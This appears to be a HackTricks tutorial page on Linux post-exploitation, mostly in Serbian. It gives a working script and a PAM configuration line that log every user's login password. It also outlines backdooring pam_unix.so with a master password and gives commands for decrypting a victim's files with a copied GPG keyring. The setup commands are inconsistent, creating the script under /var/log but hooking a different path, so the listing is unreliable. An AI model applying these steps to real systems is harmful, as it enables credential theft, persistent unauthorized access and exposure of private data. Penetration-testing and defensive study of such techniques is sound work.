4.8 KiB
Raw Blame History

Linux Post-Exploitation

{{#include ../../banners/hacktricks-training.md}}

Sniffing Logon Passwords with PAM

Konfigurišimo PAM modul da zabeleži svaku lozinku koju korisnik koristi za login. Ako ne znaš šta je PAM pogledaj:

{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}

For further details check the original post. Ovo je samo rezime:

Technique Overview: Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za prikupljanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.

Capturing Credentials:

  • Bash skripta nazvana toomanysecrets.sh je napravljena da loguje pokušaje prijave, beležeći datum, korisničko ime ($PAM_USER), lozinku (preko stdin) i IP udaljenog hosta ($PAM_RHOST) u /var/log/toomanysecrets.log.
  • Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (common-auth) koristeći modul pam_exec.so sa opcijama da se pokreće tiho i da izloži token autentikacije skripti.
  • Pristup demonstrira kako kompromitovani Linux host može biti iskorišćen da diskretno zabeleži kredencijale.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Ovo je samo sažetak:

The Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: korisničko ime, lozinka, i servis. Konfiguracioni fajlovi za svaki servis se nalaze u /etc/pam.d/ direktorijumu, gde shared libraries upravljaju autentifikacijom.

Cilj: Izmeniti PAM da dozvoli autentifikaciju pomoću specifične lozinke, zaobilaženjem prave korisničke lozinke. Poseban fokus je na pam_unix.so shared library koja se koristi u common-auth fajlu, koji je uključen u skoro sve servise za verifikaciju lozinke.

Steps for Modifying pam_unix.so:

  1. Pronađite direktivu za autentifikaciju u common-auth fajlu:
  • Linija odgovorna za proveru korisničke lozinke poziva pam_unix.so.
  1. Izmenite source code:
  • Dodajte uslovnu naredbu u pam_unix_auth.c source fajl koja dodeljuje pristup ako se koristi unapred definisana lozinka, u suprotnom se nastavlja uobičajeni proces autentifikacije.
  1. Rekompajlirajte i zamenite modifikovanu pam_unix.so biblioteku u odgovarajućem direktorijumu.
  2. Testing:
  • Pristup je omogućen preko različitih servisa (login, ssh, sudo, su, screensaver) koristeći unapred definisanu lozinku, dok normalni procesi autentifikacije ostaju nepromenjeni.

Tip

Možete automatizovati ovaj proces pomoću https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Ako nađete enkriptovani .gpg fajl i korisnikov ~/.gnupg folder (pubring, private-keys, trustdb) ali ne možete dekriptovati zbog dozvola/lock-ova GnuPG homedir-a, kopirajte keyring na lokaciju u kojoj imate upis i koristite ga kao svoj GPG home.

Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može čitati/pisati originalni homedir).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Ako je tajni ključni materijal prisutan u private-keys-v1.d, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).

References

{{#include ../../banners/hacktricks-training.md}}